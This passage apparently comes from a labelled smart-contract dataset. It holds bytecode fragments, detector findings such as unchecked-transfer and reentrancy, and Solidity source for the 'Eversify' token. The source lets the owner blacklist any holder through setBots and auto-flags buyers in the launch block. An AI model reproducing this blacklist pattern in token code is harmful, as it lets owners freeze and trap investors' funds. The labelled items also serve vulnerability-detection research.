546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610d0f57600080fd5b505af1158015610d23573d6000803e3d6000fd5b505050506040513d6020811015610d3957600080fd5b5051610d8c576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600d6020526040902054610da690826111b0565b336000818152600d6020526040902091909155610dc590600b90610f97565b61092d57610dd4600b336111bf565b50336000908152600e60205260409020429055505050565b60045481565b600080546001600160a01b03163314610e0a57600080fd5b60079190915590565b600d6020526000908152604090205481565b60085481565b60065481565b600060095460085410610e46575060006105bb565b6000610e5f600854600954610fb590919063ffffffff16565b91505090565b6000546001600160a01b03163314610e7c57600080fd5b6001600160a01b038116610e8f57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610f0257600080fd5b6001546001600160a01b031615801590610f2657506002546001600160a01b031615155b610f615760405162461bcd60e51b815260040180806020018281038252603381526020018061133c6033913960400191505060405180910390fd5b600a805460ff19169215159290921790915590565b600f6020526000908152604090205481565b6000546001600160a01b031681565b6000610fac836001600160a01b0384166111d4565b90505b92915050565b600082821115610fc157fe5b50900390565b6000828202831580610fe1575082848281610fde57fe5b04145b610fac57fe5b600080828481610ff357fe5b04949350505050565b6000611007826104d9565b90508015611173576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561106557600080fd5b505af1158015611079573d6000803e3d6000fd5b505050506040513d602081101561108f57600080fd5b50516110e2576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526010602052604090205461110590826111b0565b6001600160a01b03831660009081526010602052604090205560085461112b90826111b0565b600855604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600f60205260409020429055565b6000610faf826111ec565b6000610fac836001600160a01b0384166111f0565b600082820183811015610fac57fe5b6000610fac836001600160a01b0384166112b6565b60009081526001919091016020526040902054151590565b5490565b600081815260018301602052604081205480156112ac578354600019808301919081019060009087908390811061122357fe5b906000526020600020015490508087600001848154811061124057fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061127057fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610faf565b6000915050610faf565b60006112c283836111d4565b6112f857508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610faf565b506000610faf56fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e74657272616374696e6720746f6b656e2061646472657373657320617265206e6f742079657420636f6e66696775726564496e76616c69642061646472657373657320666f726d617420617265206e6f7420737570706f72746564a2646970667358221220ac854862e42290373ac61e651681e61777596b2d01bec3d764555fff7d73eece64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,037
0xf19ad15eb420db2ed32783070a5507544b25d997
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract EVERSIFY is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Eversify"; string private constant _symbol = "EVE"; uint private constant _decimals = 9; uint256 private _teamFee = 5; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(5).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(5).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (60 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setNoTaxMode(bool onoff) external onlyOwner() { _noTaxMode = onoff; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 10, "Team fee cannot be larger than 10%"); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external onlyOwner() { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063b515566a1161008a578063cf9d4afa11610064578063cf9d4afa1461050d578063dd62ed3e14610536578063e6ec64ec14610573578063f2fde38b1461059c57610171565b8063b515566a146104a4578063c9567bf9146104cd578063cf0848f7146104e457610171565b806370a0823114610394578063715018a6146103d15780638da5cb5b146103e857806390d49b9d1461041357806395d89b411461043c578063a9059cbb1461046757610171565b806331c2d8471161012357806331c2d847146102885780633bbac579146102b1578063437823ec146102ee578063476343ee146103175780634b740b161461032e5780635342acb41461035757610171565b806306d8ea6b1461017657806306fdde031461018d578063095ea7b3146101b857806318160ddd146101f557806323b872dd14610220578063313ce5671461025d57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105c5565b005b34801561019957600080fd5b506101a261065a565b6040516101af9190612b5e565b60405180910390f35b3480156101c457600080fd5b506101df60048036038101906101da9190612c28565b610697565b6040516101ec9190612c83565b60405180910390f35b34801561020157600080fd5b5061020a6106b5565b6040516102179190612cad565b60405180910390f35b34801561022c57600080fd5b5061024760048036038101906102429190612cc8565b6106c5565b6040516102549190612c83565b60405180910390f35b34801561026957600080fd5b5061027261079e565b60405161027f9190612cad565b60405180910390f35b34801561029457600080fd5b506102af60048036038101906102aa9190612e63565b6107a7565b005b3480156102bd57600080fd5b506102d860048036038101906102d39190612eac565b6108b8565b6040516102e59190612c83565b60405180910390f35b3480156102fa57600080fd5b5061031560048036038101906103109190612f17565b61090e565b005b34801561032357600080fd5b5061032c6109e5565b005b34801561033a57600080fd5b5061035560048036038101906103509190612f70565b610ad2565b005b34801561036357600080fd5b5061037e60048036038101906103799190612eac565b610b6b565b60405161038b9190612c83565b60405180910390f35b3480156103a057600080fd5b506103bb60048036038101906103b69190612eac565b610bc1565b6040516103c89190612cad565b60405180910390f35b3480156103dd57600080fd5b506103e6610c12565b005b3480156103f457600080fd5b506103fd610c9a565b60405161040a9190612fac565b60405180910390f35b34801561041f57600080fd5b5061043a60048036038101906104359190612f17565b610cc3565b005b34801561044857600080fd5b50610451610e77565b60405161045e9190612b5e565b60405180910390f35b34801561047357600080fd5b5061048e60048036038101906104899190612c28565b610eb4565b60405161049b9190612c83565b60405180910390f35b3480156104b057600080fd5b506104cb60048036038101906104c69190612e63565b610ed2565b005b3480156104d957600080fd5b506104e26110c9565b005b3480156104f057600080fd5b5061050b60048036038101906105069190612f17565b6111ce565b005b34801561051957600080fd5b50610534600480360381019061052f9190612f17565b6112a5565b005b34801561054257600080fd5b5061055d60048036038101906105589190612fc7565b61163f565b60405161056a9190612cad565b60405180910390f35b34801561057f57600080fd5b5061059a60048036038101906105959190613007565b6116c6565b005b3480156105a857600080fd5b506105c360048036038101906105be9190612eac565b611790565b005b6105cd611888565b73ffffffffffffffffffffffffffffffffffffffff166105eb610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614610641576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063890613080565b60405180910390fd5b600061064c30610bc1565b905061065781611890565b50565b60606040518060400160405280600881526020017f4576657273696679000000000000000000000000000000000000000000000000815250905090565b60006106ab6106a4611888565b8484611b09565b6001905092915050565b6000678ac7230489e80000905090565b60006106d2848484611cd4565b610793846106de611888565b61078e85604051806060016040528060288152602001613c2a60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610744611888565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123199092919063ffffffff16565b611b09565b600190509392505050565b60006009905090565b6107af611888565b73ffffffffffffffffffffffffffffffffffffffff166107cd610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614610823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081a90613080565b60405180910390fd5b60005b81518110156108b457600060056000848481518110610848576108476130a0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108ac906130fe565b915050610826565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610916611888565b73ffffffffffffffffffffffffffffffffffffffff16610934610c9a565b73ffffffffffffffffffffffffffffffffffffffff161461098a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098190613080565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6109ed611888565b73ffffffffffffffffffffffffffffffffffffffff16610a0b610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5890613080565b60405180910390fd5b6000479050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610ace573d6000803e3d6000fd5b5050565b610ada611888565b73ffffffffffffffffffffffffffffffffffffffff16610af8610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614610b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4590613080565b60405180910390fd5b80600c60156101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610c0b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237d565b9050919050565b610c1a611888565b73ffffffffffffffffffffffffffffffffffffffff16610c38610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614610c8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8590613080565b60405180910390fd5b610c9860006123eb565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ccb611888565b73ffffffffffffffffffffffffffffffffffffffff16610ce9610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614610d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3690613080565b60405180910390fd5b600060046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606040518060400160405280600381526020017f4556450000000000000000000000000000000000000000000000000000000000815250905090565b6000610ec8610ec1611888565b8484611cd4565b6001905092915050565b610eda611888565b73ffffffffffffffffffffffffffffffffffffffff16610ef8610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614610f4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4590613080565b60405180910390fd5b60005b81518110156110c557600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610fa657610fa56130a0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161415801561103a5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110611019576110186130a0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156110b257600160056000848481518110611058576110576130a0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806110bd906130fe565b915050610f51565b5050565b6110d1611888565b73ffffffffffffffffffffffffffffffffffffffff166110ef610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614611145576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113c90613080565b60405180910390fd5b600c60149054906101000a900460ff16611194576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118b906131b9565b60405180910390fd5b6001600c60176101000a81548160ff02191690831515021790555042600d81905550610e10600d546111c691906131d9565b600e81905550565b6111d6611888565b73ffffffffffffffffffffffffffffffffffffffff166111f4610c9a565b73ffffffffffffffffffffffffffffffffffffffff161461124a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124190613080565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6112ad611888565b73ffffffffffffffffffffffffffffffffffffffff166112cb610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614611321576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131890613080565b60405180910390fd5b600c60149054906101000a900460ff1615611371576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611368906132a1565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f991906132d6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611460573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061148491906132d6565b6040518363ffffffff1660e01b81526004016114a1929190613303565b6020604051808303816000875af11580156114c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e491906132d6565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff0219169083151502179055505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6116ce611888565b73ffffffffffffffffffffffffffffffffffffffff166116ec610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614611742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173990613080565b60405180910390fd5b600a811115611786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177d9061339e565b60405180910390fd5b8060088190555050565b611798611888565b73ffffffffffffffffffffffffffffffffffffffff166117b6610c9a565b73ffffffffffffffffffffffffffffffffffffffff161461180c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180390613080565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561187c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187390613430565b60405180910390fd5b611885816123eb565b50565b600033905090565b6001600c60166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156118c8576118c7612d20565b5b6040519080825280602002602001820160405280156118f65781602001602082028036833780820191505090505b509050308160008151811061190e5761190d6130a0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119d991906132d6565b816001815181106119ed576119ec6130a0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a5430600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611b09565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ab8959493929190613553565b600060405180830381600087803b158015611ad257600080fd5b505af1158015611ae6573d6000803e3d6000fd5b50505050506000600c60166101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b709061361f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611be9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be0906136b1565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611cc79190612cad565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3b90613743565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611db4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dab906137d5565b60405180910390fd5b60008111611df7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dee90613867565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7b9061391f565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f2a5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f435750600c60159054906101000a900460ff16155b8015611ff45750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611ff35750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b1561230757600c60179054906101000a900460ff16612048576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203f9061398b565b60405180910390fd5b60019050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156120f75750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612104575042600e54115b1561216557600061211484610bc1565b905061214560646121376002678ac7230489e800006124af90919063ffffffff16565b61252a90919063ffffffff16565b612158828561257490919063ffffffff16565b111561216357600080fd5b505b600d544214156121c8576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b60006121d330610bc1565b9050600c60169054906101000a900460ff161580156122405750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156123055760008111156123045761229f60646122916005612283600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610bc1565b6124af90919063ffffffff16565b61252a90919063ffffffff16565b8111156122fa576122f760646122e960056122db600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610bc1565b6124af90919063ffffffff16565b61252a90919063ffffffff16565b90505b61230381611890565b5b5b505b612313848484846125d2565b50505050565b6000838311158290612361576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123589190612b5e565b60405180910390fd5b506000838561237091906139ab565b9050809150509392505050565b60006006548211156123c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123bb90613a51565b60405180910390fd5b60006123ce6127a95